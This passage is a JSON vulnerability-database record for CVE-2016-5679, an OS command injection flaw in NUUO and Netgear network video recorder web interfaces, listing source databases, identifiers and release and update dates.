"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5676"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5675"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06321"
},
{
"db": "VULHUB",
"id": "VHN-94498"
},
{
"db": "VULMON",
"id": "CVE-2016-5679"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004493"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-272"
},
{
"db": "NVD",
"id": "CVE-2016-5679"
}
]
},
"sources": {
"_id": null,
"data": [
{
"db": "CERT/CC",
"id": "VU#856152",
"ident": null
},
{
"db": "CNVD",
"id": "CNVD-2016-06321",
"ident": null
},
{
"db": "VULHUB",
"id": "VHN-94498",
"ident": null
},
{
"db": "VULMON",
"id": "CVE-2016-5679",
"ident": null
},
{
"db": "BID",
"id": "92318",
"ident": null
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004493",
"ident": null
},
{
"db": "PACKETSTORM",
"id": "138199",
"ident": null
},
{
"db": "CNNVD",
"id": "CNNVD-201608-272",
"ident": null
},
{
"db": "NVD",
"id": "CVE-2016-5679",
"ident": null
}
]
},
"sources_release_date": {
"_id": null,
"data": [
{
"date": "2016-08-04T00:00:00",
"db": "CERT/CC",
"id": "VU#856152",
"ident": null
},
{
"date": "2016-08-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2016-06321",
"ident": null
},
{
"date": "2016-08-31T00:00:00",
"db": "VULHUB",
"id": "VHN-94498",
"ident": null
},
{
"date": "2016-08-31T00:00:00",
"db": "VULMON",
"id": "CVE-2016-5679",
"ident": null
},
{
"date": "2016-08-04T00:00:00",
"db": "BID",
"id": "92318",
"ident": null
},
{
"date": "2016-09-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-004493",
"ident": null
},
{
"date": "2016-08-04T22:22:21",
"db": "PACKETSTORM",
"id": "138199",
"ident": null
},
{
"date": "2016-08-12T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201608-272",
"ident": null
},
{
"date": "2016-08-31T15:59:05.750000",
"db": "NVD",
"id": "CVE-2016-5679",
"ident": null
}
]
},
"sources_update_date": {
"_id": null,
"data": [
{
"date": "2016-08-05T00:00:00",
"db": "CERT/CC",
"id": "VU#856152",
"ident": null
},
{
"date": "2016-08-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2016-06321",
"ident": null
},
{
"date": "2017-09-03T00:00:00",
"db": "VULHUB",
"id": "VHN-94498",
"ident": null
},
{
"date": "2017-09-03T00:00:00",
"db": "VULMON",
"id": "CVE-2016-5679",
"ident": null
},
{
"date": "2016-08-04T00:00:00",
"db": "BID",
"id": "92318",
"ident": null
},
{
"date": "2016-09-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-004493",
"ident": null
},
{
"date": "2016-09-01T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201608-272",
"ident": null
},
{
"date": "2024-11-21T02:54:48.677000",
"db": "NVD",
"id": "CVE-2016-5679",
"ident": null
}
]
},
"threat_type": {
"_id": null,
"data": "remote",
"sources": [
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-272"
}
],
"trust": 0.7
},
"title": {
"_id": null,
"data": "NUUO and Netgear Network Video Recorder (NVR) products web interfaces contain multiple vulnerabilities",
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
}
],
"trust": 0.8
},
"type": {
"_id": null,
"data": "operating system commend injection",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201608-272"
}
],
"trust": 0.6
}
}